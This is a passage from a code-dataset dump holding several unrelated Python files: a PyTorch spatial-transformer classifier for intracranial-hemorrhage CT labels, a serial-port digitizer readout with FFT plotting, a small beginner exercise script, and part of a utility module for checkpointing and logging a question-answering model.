nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=15, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=15, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=10, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=8, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=8, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=8, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=8, padding=1),\r\n            nn.MaxPool2d(2, stride=2),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=8, padding=1),\r\n            nn.MaxPool2d(2, stride=2),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=5, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=5, padding=1),\r\n            nn.MaxPool2d(2, stride=2),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=5, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=5, padding=1),\r\n            nn.ReLU(True),\r\n            nn.Conv2d(10, 10, kernel_size=5),\r\n            nn.ReLU(True)\r\n\r\n        )\r\n\r\n        # Regressor for the 3 * 2 affine matrix\r\n        self.fc_loc = nn.Sequential(\r\n            nn.Linear(10 * 15 * 15, 32),\r\n            nn.ReLU(True),\r\n            nn.Linear(32, 3 * 2)\r\n        )\r\n\r\n        # Initialize the weights/bias with identity transformation\r\n        self.fc_loc[2].weight.data.zero_()\r\n        self.fc_loc[2].bias.data.copy_(torch.tensor([1, 0, 0, 0, 1, 0], dtype=torch.float))\r\n\r\n        self.phase = 0\r\n\r\n    def get_theta(self):\r\n        return self.theta\r\n\r\n    # Spatial transformer network forward function\r\n    def stn(self, x):\r\n\r\n        xs = self.localization(x)\r\n        xs = xs.view(-1, 10 * 15 * 15)\r\n        theta = self.fc_loc(xs)\r\n        theta = theta.view(-1, 2, 3)\r\n        self.theta = theta\r\n\r\n        grid = F.affine_grid(theta, x.size(), align_corners=False)\r\n        x = F.grid_sample(x, grid, align_corners=False)\r\n\r\n        return x\r\n\r\n    def forward(self, x):\r\n        # transform the input\r\n        x = self.stn(x)  ### Localization Network\r\n        if self.phase == 0:  ## Training Phase\r\n            x,y = self.firstlayers(x)  ### Pretrainned Model\r\n        else:  ## Evaluation Stage\r\n            x = self.firstlayers(x)\r\n        x = self.fc1(x)  ## Fine Tunning Layer 1\r\n        x = self.fc2(x)  ## Fine Tunning Layer 2\r\n        return x\r\n\r\n\r\n#---------------- Preapare Data Set -----------------------------#\r\nn_sample = 3000\r\n\r\ntrain_labels = ['any','epidural','intraparenchymal', 'intraventricular','subarachnoid','subdural']\r\nlist_of_images = pd.read_csv('labels_1_annotation.csv')\r\nlist_of_any = pd.read_csv('labels_0_any.csv')\r\n\r\n## Creating a dataset for each class from the dataset that only has one annotation x1\r\n\r\nany = list_of_any.sample(n_sample*2)\r\nlabel_any = [ 0 for _  in range(len(any))]\r\n\r\nepidural = list_of_images[list_of_images['epidural'] == 1].sample(n_sample, replace=True)\r\nlabel_epidural = [ 1 for _  in range(len(epidural))]\r\n\r\nintraparenchymal = list_of_images[list_of_images['intraparenchymal'] == 1].sample(n_sample)\r\nlabel_intraparenchymal = [ 2 for _  in range(len(intraparenchymal))]\r\n\r\nintraventricular = list_of_images[list_of_images['intraventricular'] == 1].sample(n_sample)\r\nlabel_intraventricular = [ 3 for _ in  range(len(intraventricular))]\r\n\r\nsubarachnoid = list_of_images[list_of_images['subarachnoid'] == 1].sample(n_sample)\r\nlabel_subarachnoid = [4 for _ in range(len(subarachnoid))]\r\n\r\nsubdural = list_of_images[list_of_images['subdural'] == 1].sample(n_sample)\r\nlabel_subdural = [5 for _ in range(len(subdural))]\r\n\r\nany['any'] = 1\r\nepidural['any'] = 0\r\nintraparenchymal['any'] = 0\r\nintraventricular['any'] = 0\r\nsubarachnoid['any'] = 0\r\nsubdural['any'] = 0\r\n\r\nsampleimages = pd.concat([any,epidural,intraparenchymal,intraventricular,subarachnoid,subdural])\r\nsamplelabels = np.hstack([label_any, label_epidural,label_intraparenchymal,label_intraventricular,label_subarachnoid,label_subdural])\r\n\r\nimages = np.array(sampleimages['Img']+'.dcm')\r\n#labels = samplelabels.reshape(-1,1)\r\nlabels = np.array(sampleimages.loc[:,train_labels])\r\nprint(images.shape, labels.shape)\r\n\r\n#------------------------------- Divide de data for training validation and test -------------------------###\r\nX_train, X_test, y_train, y_test = train_test_split(images, labels, test_size=0.35, random_state=0)\r\n## We devide the test set into testing for validation and testing\r\n## The testing will be saved to use in te Model3_testdataset.py\r\n## Only labels will be saved\r\nX_test, X_test2, y_test, y_test2 = train_test_split(X_test, y_test, test_size=0.50, random_state=0)\r\n## We save X_test2 and y_test2\r\n\r\npd.DataFrame(X_test2, columns =['Images']).to_csv(METRICS_DIR+\"testImages.csv\", index=False)\r\npd.DataFrame(y_test2, columns =['0','1','2','3','4','5']).to_csv(METRICS_DIR+\"testLabels.csv\", index =False)\r\n\r\n#------------------------------- Create the Data Loaders -------------------------------------------####\r\n\r\n\r\n#---------------------- Parameters for the data loader --------------------------------\r\n\r\nparams = {'batch_size': BATCH_SIZE,\r\n          'shuffle': False}\r\n\r\ntrain_ids = list([ i for i in range(len(X_train))])\r\ntest_ids = list([ i for i in range(len(X_test))])\r\n\r\n# Datasets\r\npartition = {\r\n    'train' : train_ids,\r\n    'valid' : test_ids\r\n}\r\n\r\n# Data Loaders d\r\n\r\nlabels = 1\r\n\r\ntraining_set = Dataset(partition['train'], labels)\r\ntraining_generator = data.DataLoader(training_set, **params)\r\n\r\nlabels = 0\r\n\r\nvalidation_set = Dataset(partition['valid'], labels)\r\nvalidation_generator = data.DataLoader(validation_set, **params)\r\n\r\nmodel = Net()\r\n\r\nmodel = model.to(device)\r\noptimizer = optim.Adam(model.parameters(), lr=LR)\r\ncriterion = nn.BCELoss()\r\n\r\nscheduler = ReduceLROnPlateau(optimizer, mode='max', factor=0.5, patience=0, verbose=True)\r\n\r\n###\r\n### ----------------  train and test ------------------------ ###\r\n###\r\n\r\ndef train(epoch):\r\n\r\n    model.train()\r\n    train_loss = 0\r\n    cont = 0\r\n    train_loss_item = list([])\r\n\r\n    pred_labels_per_hist = list([])\r\n    target_hist = list([])\r\n\r\n    model.phase = 0\r\n    for batch_idx, (data, target) in enumerate(training_generator):\r\n\r\n        data, target = data.to(device), target.to(device)\r\n\r\n        # Here is the conversion to star with a linnear\r\n        # We need a CNN so this will not be necessary\r\n\r\n        optimizer.zero_grad()\r\n\r\n        output=model(data)\r\n\r\n        loss = criterion(output, target)\r\n        loss.backward()\r\n        optimizer.step()\r\n        train_loss+= loss.item()\r\n        cont +=1\r\n        train_loss_item.append([epoch, batch_idx, loss.item()])\r\n\r\n        pred_labels_per = output.detach().to(torch.device('cpu')).numpy()\r\n\r\n        if len(pred_labels_per_hist) == 0:\r\n            pred_labels_per_hist = pred_labels_per\r\n        else:\r\n            pred_labels_per_hist = np.vstack([pred_labels_per_hist, pred_labels_per])\r\n\r\n        if len(target_hist) == 0:\r\n            target_hist = target.cpu().numpy()\r\n        else:\r\n            target_hist = np.vstack([target_hist, target.cpu().numpy()])\r\n\r\n    avg_train_loss = train_loss / cont\r\n\r\n    ## Saving labels and metrics for the epoch\r\n\r\n    pd.DataFrame(train_loss_item, columns=['epoch', 'batch', 'loss']).to_csv(\r\n        METRICS_DIR + 'train_loss_hist_item3_' + str(epoch) + '.csv')\r\n\r\n    pd.DataFrame(target_hist, columns=['0', '1', '2', '3', '4', '5']).to_csv(\r\n        METRICS_DIR + 'target_train_loss_'+ str(epoch)+'.csv',index=False)\r\n\r\n    pd.DataFrame(pred_labels_per_hist, columns=['0', '1', '2', '3', '4', '5']).to_csv(\r\n        METRICS_DIR + 'pred_labels_train_loss_'+ str(epoch)+'.csv', index=False)\r\n\r\n    return avg_train_loss\r\n\r\ndef test(epoch):\r\n    with torch.no_grad():\r\n        model.eval()\r\n        test_loss = 0\r\n        correct = 0\r\n        test_accuracy = 0\r\n        valid_loss_item = list([])\r\n        batch_idx = 1\r\n        pred_labels_per_hist = list([])\r\n        pred_labels_hist = list([])\r\n        target_hist = list([])\r\n        model.phase = 1\r\n        for  data, target in validation_generator:\r\n\r\n            data, target = data.to(device), target.to(device)\r\n\r\n            output = model(data)\r\n\r\n            # sum up batch loss\r\n\r\n            loss = criterion(output, target)\r\n\r\n            test_loss += loss.item()\r\n\r\n\r\n            pred_labels_per = output.detach().to(torch.device('cpu')).numpy()\r\n            pred_labels = np.where(pred_labels_per > 0.50, 1, 0)\r\n\r\n            if len(pred_labels_per_hist) == 0:\r\n                pred_labels_per_hist = pred_labels_per\r\n            else:\r\n                pred_labels_per_hist = np.vstack([pred_labels_per_hist,pred_labels_per])\r\n\r\n            if len(pred_labels_hist)==0:\r\n                pred_labels_hist = pred_labels\r\n            else:\r\n                pred_labels_hist = np.vstack([pred_labels_hist, pred_labels])\r\n\r\n            if len(target_hist)==0:\r\n                target_hist = target.cpu().numpy()\r\n            else:\r\n                target_hist = np.vstack([target_hist, target.cpu().numpy()])\r\n\r\n\r\n            test_accuracy_item = 100 * accuracy_score(target.cpu().numpy(), pred_labels)\r\n\r\n            valid_loss_item.append([epoch, batch_idx,loss.item(), test_accuracy_item ])\r\n\r\n            batch_idx += 1\r\n            test_accuracy += test_accuracy_item\r\n\r\n        test_loss /= (len(validation_generator.dataset)/BATCH_SIZE)\r\n        avg_test_accuray = test_accuracy / (len(validation_generator.dataset)/BATCH_SIZE)\r\n\r\n        ## Saving labels and metrics for the epoch\r\n\r\n        pd.DataFrame(valid_loss_item, columns = ['epoch', 'batch','loss','acc']).to_csv(METRICS_DIR+'valid_loss_hist_item3_'+str(epoch)+'.csv', index =False)\r\n        pd.DataFrame(target_hist, columns = ['0','1','2','3','4','5']).to_csv(METRICS_DIR+'target_valid_loss_'+ str(epoch)+'.csv', index =False)\r\n        pd.DataFrame(pred_labels_per_hist, columns = ['0','1','2','3','4','5']).to_csv(METRICS_DIR+'pred_labels_valid_loss_'+ str(epoch)+'.csv', index =False)\r\n\r\n        return test_loss, avg_test_accuray\r\n\r\n\r\n# --------- We proceed to calculate the model ----------- #\r\n# --------- History of metrics -------------------------- #\r\n\r\ntrain_loss_hist = list([])\r\nvalid_loss_hist = list([])\r\ntrain_loss_hist_item = list([])\r\nvalid_loss_hist_item = list([])\r\n\r\nlast_valid_loss = 100\r\nlast_valid_acc = -100\r\nlast_valid_auc = -1\r\nlast_train_loss = 100\r\ncont =1\r\nbest_epoch = 0\r\n\r\nfor epoch in range(MAX_EPOCHS):\r\n\r\n    train_loss_item = []\r\n    valid_loss_item = []\r\n\r\n    train_loss= train(epoch)\r\n\r\n    pred_labels_per  = pd.read_csv(METRICS_DIR+'pred_labels_train_loss_'+ str(epoch)+'.csv')\r\n    target_labels = pd.read_csv(METRICS_DIR+'target_train_loss_'+ str(epoch)+'.csv')\r\n    pred_labels = np.where(pred_labels_per > 0.50, 1, 0)\r\n\r\n    xauc_t = roc_auc_score(target_labels,pred_labels_per)\r\n    xf1_t =  f1_score(target_labels, pred_labels,  average = 'weighted')\r\n\r\n    xaccuracy_t = 100 * accuracy_score(target_labels, pred_labels)\r\n\r\n    print('Train set: Avg. loss: {:.6f} -- Accuracy : {:.6f} -- AUC : {:.6f} -- F1 : {:.6f} \\n'\r\n          .format(train_loss, xaccuracy_t, xauc_t, xf1_t))\r\n\r\n    valid_loss, valid_acc =test(epoch)\r\n\r\n    scheduler.step(train_loss)\r\n\r\n    pred_labels_per  = pd.read_csv(METRICS_DIR+'pred_labels_valid_loss_'+str(epoch)+'.csv')\r\n    target_labels = pd.read_csv(METRICS_DIR+'target_valid_loss_'+str(epoch)+'.csv')\r\n    pred_labels = np.where(pred_labels_per > 0.50, 1, 0)\r\n\r\n    xauc = roc_auc_score(target_labels,pred_labels_per)\r\n    xf1 =  f1_score(target_labels, pred_labels,  average = 'weighted')\r\n\r\n    xaccuracy = 100 * accuracy_score(target_labels, pred_labels)\r\n\r\n    print('Test set: Avg. loss: {:.6f} -- Accuracy : {:.6f} -- AUC : {:.6f} -- F1 : {:.6f} \\n'\r\n          .format(valid_loss, xaccuracy, xauc, xf1))\r\n\r\n    train_loss_hist.append([epoch, train_loss, xaccuracy_t, xauc_t, xaccuracy_t])\r\n    valid_loss_hist.append([epoch, valid_loss, xaccuracy, xauc, xf1, xaccuracy])\r\n\r\n    if train_loss < last_train_loss:\r\n\r\n        filepath = 'model_finalprojectF.pt'\r\n        torch.save(model.state_dict(), filepath)\r\n        last_train_loss = train_loss\r\n        cont = 0\r\n        best_epoch = epoch\r\n        best_train_loss = train_loss\r\n        best_valid_loss = valid_loss\r\n\r\n    else:\r\n        cont += 1\r\n\r\n    if EARLY_STOPPING==1:\r\n        if cont> MAX_NO_IMPROVEMENT:\r\n            print('Early Stopping')\r\n            print('Best Epoch', best_epoch)\r\n            break\r\n\r\nprint('Best Epoch', best_epoch)\r\n\r\n## ---------------------------------\r\n## Saving the main metrics\r\n## ---------------------------------\r\npdfinal_results = pd.DataFrame([best_epoch, best_train_loss, best_valid_loss], columns=['Data'])\r\npdtrain_loss_hist = pd.DataFrame(train_loss_hist, columns = ['epoch','train_loss','train_acc','train_auc','train_f1'])\r\npdvalid_loss_hist = pd.DataFrame(valid_loss_hist, columns = ['epoch','valid_loss','valid_acc','valid_auc','valid_f1','valid_sumacc'])\r\n\r\npdtrain_loss_hist.to_csv(METRICS_DIR+'train_loss_hist3.csv',index=False)\r\npdvalid_loss_hist.to_csv(METRICS_DIR+'valid_loss_hist3.csv',index=False)\r\npdfinal_results.to_csv(METRICS_DIR+'best_epoch.csv',index=False)","sub_path":"Final-Project-Group4/Code/Model3_def.py","file_name":"Model3_def.py","file_ext":"py","file_size_in_byte":20766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"132936973","text":"#!/usr/bin/env python3\n\nimport serial\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nimport scipy.signal as sig\nfrom pprint import pprint\nimport sys\n\n\n## Number of FFTs to average\naverages = 1\ndev = None\n\ndef open_serial():\n    global dev\n    dev          = serial.Serial()\n    dev.port     = '/dev/ttyUSB1'\n    dev.baudrate = int(2.015e6)\n    dev.timeout  = 1\n    dev.open()\n    dev.write(\"r\".encode('utf-8')) # reset parity error counters in debug board\n\n##\n# Detect if we're running in interactive mode to avoid problems with matplotlib\n##\ndef in_ipython():\n    try:\n        __IPYTHON__\n    except NameError:\n        return False\n    else:\n        return True\n\n##\n# Trigger the digitizer using the DTR line on the UART.  The DTR line is active low so writing a 0 here gives a 1 on the physical line.\n##\ndef trigger():\n    global dev\n    dev.write(\"T\".encode('utf-8'))\n    dev.flush()\n    #time.sleep(0.0002)\n    #dev.write(\"t\".encode('utf-8'))\n\ndef dump_to_uart():\n    global dev\n    dev.reset_input_buffer()\n    dev.write(\"d\".encode('utf-8'))\n\n    \n##\n# Read and decompose input bytes. Returns a numpy array with, for each sample number, two sample values, 2 parity checks and 2 trigger bits\n##\ndef read_buffer():\n    dump_to_uart()\n    data = np.zeros((2048, 6)) # for each sample 2 channel values, 2 parity checks and 2 trigger bits\n    for ch in range(2):\n        for b in range(2048):\n            raw = dev.read(2)\n            val_unsigned = ((raw[0] & 0x3F) << 6) + (raw[1] & 0x3F)\n            if val_unsigned > 2047:\n                val_unsigned = val_unsigned - 4096\n            bits = bin(raw[0]) + bin(raw[1])\n            numones = len([x for x in bits if x=='1'])\n            data[b, 0+ch] = val_unsigned\n            data[b, 2+ch] = 1 - (numones % 2)\n            # for debugging\n            #print(\"ch{} sample {:4d}: raw: {:08b} {:08b} val: {:5d} {}\".format(ch, b, raw[0], raw[1], val_unsigned, \"parity ok\" if numones % 2 == 1 else \"Parity FAIL\" ))\n    return data\n\n\n##\n# Compute the FFT of a sample sequence and plot it using matplotlib.\n##\ndef fft_from_samples(data):\n    # Scale data to voltages\n    y = np.asarray(data) / 2048. * 2.0/2.0;\n\n    # Number of samplepoints\n    N = len(y)\n    # sample spacing\n    T = 1.0 / 250.0\n    x = np.linspace(0.0, N*T, N)\n    xf = np.linspace(0.0, 1.0/(2.0*T), N/2)\n\n    # Apply windowing function (7-term Blackman-Harris)\n    # Compute FFT, default size = data size\n    w = np.zeros((N), dtype='float')\n    for n in np.arange(0, N):\n        w[n] = 0.27105140069342 \\\n             - 0.43329793923448 * np.cos(   2.*np.pi*n/N) \\\n             + 0.21812299954311 * np.cos(2.*2.*np.pi*n/N) \\\n             - 0.06592544638803 * np.cos(3.*2.*np.pi*n/N) \\\n             + 0.01081174209837 * np.cos(4.*2.*np.pi*n/N) \\\n             - 0.00077658482522 * np.cos(5.*2.*np.pi*n/N) \\\n             + 0.00001388721735 * np.cos(6.*2.*np.pi*n/N)\n\n    # Coherent gain\n    CPG = np.sum(w)/N\n    CPGdB = -20*np.log10(CPG)\n\n    # Compute FFT with windowing applied\n    # Divide by N to compensate for FFT scaling\n    yf = np.fft.fft(y*w) / N\n\n    # Translate to power dBm in 50R, fold spectrum to single band, and convert into dB\n    ypowl = 2*1000*np.abs(yf[:N//2])**2/50\n    ypow = 10*np.log10(ypowl)\n\n    return (xf, ypow+CPGdB)\n\n\ndef print_fft(xf, ypow0, ypow1):\n    # Start plotting things\n    fig, ax = plt.subplots()\n    ax.plot(xf, ypow0, label='ch0')\n    ax.plot(xf, ypow1, label='ch1')\n    ax.set_ylabel(\"power (dBm)\")\n    ax.set_xlabel(\"frequency (MHz)\")\n\n    # Locate peak values\n    peak = np.argmax(ypow0)\n    ax.plot(xf[peak], ypow0[peak], \"ro\")\n    peak = np.argmax(ypow1)\n    ax.plot(xf[peak], ypow1[peak], \"ro\")\n\n    # add legend\n    ax.legend()\n\n##\n# Example run code\n##\n#ypow0 = np.zeros(1024, dtype='float')\n#ypow1 = np.zeros(1024, dtype='float')\n\ndefault_formatter = ticker.ScalarFormatter()\n@ticker.FuncFormatter\ndef sample_formatter(x, pos):\n    return default_formatter.format_data_short(x*250+1040).strip()\n\ndef plot_time(data):\n    fig, (ax_t, ax_f) = plt.subplots(2, 1)\n\n    ax_t.plot((np.arange(2048)-1040)/250, data[:, 0], linewidth=1, label='Chan A')\n    ax_t.plot((np.arange(2048)-1040)/250, data[:, 1], linewidth=1, label='Chan B')\n    ax_t.set_ylabel('adc value')\n\n    # fake, for the legend\n    ax_t.axvspan(0, 0, alpha=0.5, linewidth=0, color='red', label='parity errors')\n    for i in range(len(data)):\n        if data[i, 2] != 0 or data[i,3] != 0:\n            ax_t.axvspan((i-0.5-1040)/250, (i+0.5-1040)/250, alpha=0.5, linewidth=0, color='red')\n    \n    ax_t.set_xlabel('time (us)')\n    ax2 = ax_t.twiny()\n    #ax2.xaxis.set_ticks_position('bottom') \n    #ax2.xaxis.set_label_position('bottom')\n    #ax2.spines['bottom'].set_position(('outward', 36))\n    ax2.set_xlabel('time (samples)')\n    ax2.set_xlim(ax_t.get_xlim())\n    ax2.xaxis.set_major_formatter(sample_formatter)\n    ax2.xaxis.set_minor_locator(ticker.AutoMinorLocator())\n\n    # FFT\n    xf, ypow = fft_from_samples(data[:, 0])\n    ax_f.plot(xf, ypow)\n    xf, ypow = fft_from_samples(data[:, 1])\n    ax_f.plot(xf, ypow)\n\n    ax_f.set_ylabel('power (dBm)')\n    ax_f.set_xlabel('freq (MHz)')\n    \n    ax_t.legend()\n    ax_f.legend()\n    fig.tight_layout()\n    \n \n\n##\n# Some helpers\n##\ndef get_next(): \n    trigger() \n    return read_buffer() \n\n    \nif __name__==\"__main__\":\n    ##\n    # Open serial connection\n    open_serial()\n    ##\n    # Fix plotting in interactive mode...\n    if in_ipython():\n        plt.ion()\n\n    for i in range(0, averages):\n        trigger()\n\n        # after the trigger is received we have to wait for:\n        # * the second half of the buffer to fill (1024 samples at 250MHz)\n        # * the transfer to the machxo to complete (2048 samples, 13 bits each, channels parallel at 60MHz)\n        # this is under 0.5 ms so the overhead in driver + os + python is probably already much more.\n        # the transfer automatically starts after the buffer is filled.\n        time.sleep(2048*13/60e6+1024/250e6) \n        data = read_buffer()\n        plot_time(data)\n\n    ##\n    # Show results\n    plt.show()\n\n","sub_path":"scripts/dump_machxo2.py","file_name":"dump_machxo2.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"538053237","text":"\nimport random\n\nn=input(\"Please input a num:\") #请输入整数\n\nprint(\"{:->20}\".format(eval(n)))\n\nrandom.seed(123) #以123为种子生成随机数\nfor i in range(10):\n    print(random.randint(1,999),end=\",\")\nprint()\n\na=[[1,2,3],[4,5,6],[7,8,9]]\nb=[3,6,9]\n\ns=0\n\nfor c in a:\n    for j in range(3):\n        s+=c[j]*b[j]\nprint(\"总和为：\",s)\n\ns2=input(\"please input a string:\")\nprint(\"{:=^15}\".format(s2[0:15]))\n\na,b=0,1\nwhile a<=100:\n    print(a,end=',')\n    a,b=b,a+b\n\n","sub_path":"second.py","file_name":"second.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"74032235","text":"\"\"\"Utility classes and methods.\n\nAuthor:\n    Chris Chute (chute@stanford.edu)\n\"\"\"\nimport logging\nimport os\nimport queue\nimport shutil\nimport torch\nimport torch.nn.functional as F\nimport torch.utils.data as data\nimport tqdm\nimport numpy as np\nimport ujson as json\n\n\nclass CheckpointSaver:\n    \"\"\"Class to save and load model checkpoints.\n\n    Save the best checkpoints as measured by a metric value passed into the\n    `save` method. Overwrite checkpoints with better checkpoints once\n    `max_checkpoints` have been saved.\n\n    Args:\n        save_dir (str): Directory to save checkpoints.\n        max_checkpoints (int): Maximum number of checkpoints to keep before\n            overwriting old ones.\n        metric_name (str): Name of metric used to determine best model.\n        maximize_metric (bool): If true, best checkpoint is that which maximizes\n            the metric value passed in via `save`. Otherwise, best checkpoint\n            minimizes the metric.\n        log (logging.Logger): Optional logger for printing information.\n    \"\"\"\n\n    def __init__(\n        self, save_dir, max_checkpoints, metric_name, maximize_metric=False, log=None\n    ):\n        super(CheckpointSaver, self).__init__()\n\n        self.save_dir = save_dir\n        self.max_checkpoints = max_checkpoints\n        self.metric_name = metric_name\n        self.maximize_metric = maximize_metric\n        self.best_val = None\n        self.ckpt_paths = queue.PriorityQueue()\n        self.log = log\n        self._print(\n            f\"Saver will {'max' if maximize_metric else 'min'}imize {metric_name}...\"\n        )\n\n    def is_best(self, metric_val):\n        \"\"\"Check whether `metric_val` is the best seen so far.\n\n        Args:\n            metric_val (float): Metric value to compare to prior checkpoints.\n        \"\"\"\n        if metric_val is None:\n            # No metric reported\n            return False\n\n        if self.best_val is None:\n            # No checkpoint saved yet\n            return True\n\n        return (self.maximize_metric and self.best_val < metric_val) or (\n            not self.maximize_metric and self.best_val > metric_val\n        )\n\n    def _print(self, message):\n        \"\"\"Print a message if logging is enabled.\"\"\"\n        if self.log is not None:\n            self.log.info(message)\n\n    def save(self, step, model, metric_val, device):\n        \"\"\"Save model parameters to disk.\n\n        Args:\n            step (int): Total number of examples seen during training so far.\n            model (torch.nn.DataParallel): Model to save.\n            metric_val (float): Determines whether checkpoint is best so far.\n            device (torch.device): Device where model resides.\n        \"\"\"\n        ckpt_dict = {\n            \"model_name\": model.__class__.__name__,\n            \"model_state\": model.cpu().state_dict(),\n            \"step\": step,\n        }\n        model.to(device)\n\n        checkpoint_path = os.path.join(self.save_dir, f\"step_{step}.pth.tar\")\n        torch.save(ckpt_dict, checkpoint_path)\n        self._print(f\"Saved checkpoint: {checkpoint_path}\")\n\n        if self.is_best(metric_val):\n            # Save the best model\n            self.best_val = metric_val\n            best_path = os.path.join(self.save_dir, \"best.pth.tar\")\n            shutil.copy(checkpoint_path, best_path)\n            self._print(f\"New best checkpoint at step {step}...\")\n\n        # Add checkpoint path to priority queue (lowest priority removed first)\n        if self.maximize_metric:\n            priority_order = metric_val\n        else:\n            priority_order = -metric_val\n\n        self.ckpt_paths.put((priority_order, checkpoint_path))\n\n        # Remove a checkpoint if more than max_checkpoints have been saved\n        if self.ckpt_paths.qsize() > self.max_checkpoints:\n            _, worst_ckpt = self.ckpt_paths.get()\n            try:\n                os.remove(worst_ckpt)\n                self._print(f\"Removed checkpoint: {worst_ckpt}\")\n            except OSError:\n                # Avoid crashing if checkpoint has been removed or protected\n                pass\n\n\ndef load_model(model, checkpoint_path, gpu_ids, return_step=True):\n    \"\"\"Load model parameters from disk.\n\n    Args:\n        model (torch.nn.DataParallel): Load parameters into this model.\n        checkpoint_path (str): Path to checkpoint to load.\n        gpu_ids (list): GPU IDs for DataParallel.\n        return_step (bool): Also return the step at which checkpoint was saved.\n\n    Returns:\n        model (torch.nn.DataParallel): Model loaded from checkpoint.\n        step (int): Step at which checkpoint was saved. Only if `return_step`.\n    \"\"\"\n    device = f\"cuda:{gpu_ids[0]}\" if gpu_ids else \"cpu\"\n    ckpt_dict = torch.load(checkpoint_path, map_location=device)\n\n    # Build model, load parameters\n    model.load_state_dict(ckpt_dict[\"model_state\"])\n\n    if return_step:\n        step = ckpt_dict[\"step\"]\n        return model, step\n\n    return model\n\n\ndef get_available_devices():\n    \"\"\"Get IDs of all available GPUs.\n\n    Returns:\n        device (torch.device): Main device (GPU 0 or CPU).\n        gpu_ids (list): List of IDs of all GPUs that are available.\n    \"\"\"\n    gpu_ids = []\n    if torch.cuda.is_available():\n        gpu_ids += [gpu_id for gpu_id in range(torch.cuda.device_count())]\n        device = torch.device(f\"cuda:{gpu_ids[0]}\")\n        torch.cuda.set_device(device)\n    else:\n        device = torch.device(\"cpu\")\n\n    return device, gpu_ids\n\n\ndef visualize(tbx, pred_dict, eval_path, step, split, num_visuals):\n    \"\"\"Visualize text examples to TensorBoard.\n\n    Args:\n        tbx (SummaryWriter): Summary writer.\n        pred_dict (dict): dict of predictions of the form id -> pred.\n        eval_path (str): Path to eval JSON file.\n        step (int): Number of examples seen so far during training.\n        split (str): Name of data split being visualized.\n        num_visuals (int): Number of visuals to select at random from preds.\n    \"\"\"\n    if num_visuals <= 0:\n        return\n    if num_visuals > len(pred_dict):\n        num_visuals = len(pred_dict)\n\n    visual_ids = np.random.choice(list(pred_dict), size=num_visuals, replace=False)\n\n    with open(eval_path, \"r\") as eval_file:\n        eval_dict = json.load(eval_file)\n    for i, id_ in enumerate(visual_ids):\n        pred = pred_dict[id_] or \"N/A\"\n        example = eval_dict[str(id_)]\n        question = example[\"question\"]\n        context = example[\"context\"]\n        answers = example[\"answers\"]\n\n        gold = answers[0] if answers else \"N/A\"\n        tbl_fmt = (\n            f\"- **Question:** {question}\\n\"\n            + f\"- **Context:** {context}\\n\"\n            + f\"- **Answer:** {gold}\\n\"\n            + f\"- **Prediction:** {pred}\"\n        )\n        tbx.add_text(\n            tag=f\"{split}/{i+1}_of_{num_visuals}\", text_string=tbl_fmt, global_step=step\n        )\n\n\ndef get_logger(log_dir, name):\n    \"\"\"Get a `logging.Logger` instance that prints to the console\n    and an auxiliary file.\n\n    Args:\n        log_dir (str): Directory in which to create the log file.\n        name (str): Name to identify the logs.\n\n    Returns:\n        logger (logging.Logger): Logger instance for logging events.\n    \"\"\"\n\n    class StreamHandlerWithTQDM(logging.Handler):\n        \"\"\"Let `logging` print without breaking `tqdm` progress bars.\n\n        See Also:\n            > https://stackoverflow.com/questions/38543506\n        \"\"\"\n\n        def emit(self, record):\n            try:\n                msg = self.format(record)\n                tqdm.tqdm.write(msg)\n                self.flush()\n            except (KeyboardInterrupt, SystemExit):\n                raise\n            except:\n                self.handleError(record)\n\n    # Create logger\n    logger = logging.getLogger(name)\n    logger.setLevel(logging.DEBUG)\n\n    # Log everything (i.e., DEBUG level and above) to a file\n    log_path = os.path.join(log_dir, \"log.txt\")\n    file_handler = logging.FileHandler(log_path)\n    file_handler.setLevel(logging.DEBUG)\n\n    # Log everything except DEBUG level (i.e., INFO level and above) to console\n    console_handler = StreamHandlerWithTQDM()\n    console_handler.setLevel(logging.INFO)\n\n    # Create format for the logs\n    file_formatter = logging.Formatter(\n        \"[%(asctime)s] %(message)s\", datefmt=\"%m.%d.%y %H:%M:%S\"\n    )\n    file_handler.setFormatter(file_formatter)\n    console_formatter = logging.Formatter(\n        \"[%(asctime)s] %(message)s\", datefmt=\"%m.%d.%y %H:%M:%S\"\n    )\n    console_handler.setFormatter(console_formatter)\n\n    # add the handlers to the logger\n    logger.addHandler(file_handler)\n    logger.addHandler(console_handler)\n\n    return logger\n\n\ndef torch_from_json(path, dtype=torch.float32):\n    \"\"\"Load a PyTorch Tensor from a JSON file.\n\n    Args:\n        path (str): Path to the JSON file to load.\n        dtype (torch.dtype): Data type of loaded array.\n\n    Returns:\n        tensor (torch.Tensor): Tensor loaded from JSON file.\n    \"\"\"\n    with open(path, \"r\") as fh:\n        array = np.array(json.load(fh))\n\n    tensor = torch.from_numpy(array).type(dtype)\n\n    return tensor\n\n\ndef discretize(p_start, p_end, max_len=15, no_answer=False):\n    \"\"\"Discretize soft predictions to get start and end indices.\n\n    Choose the pair `(i, j)` of indices that maximizes `p1[i] * p2[j]`\n    subject to `i <= j` and `j - i + 1 <= max_len`.\n\n    Args:\n        p_start (torch.Tensor): Soft predictions for start index.\n            Shape (batch_size, context_len).\n        p_end (torch.Tensor): Soft predictions for end index.\n            Shape (batch_size, context_len).\n        max_len (int): 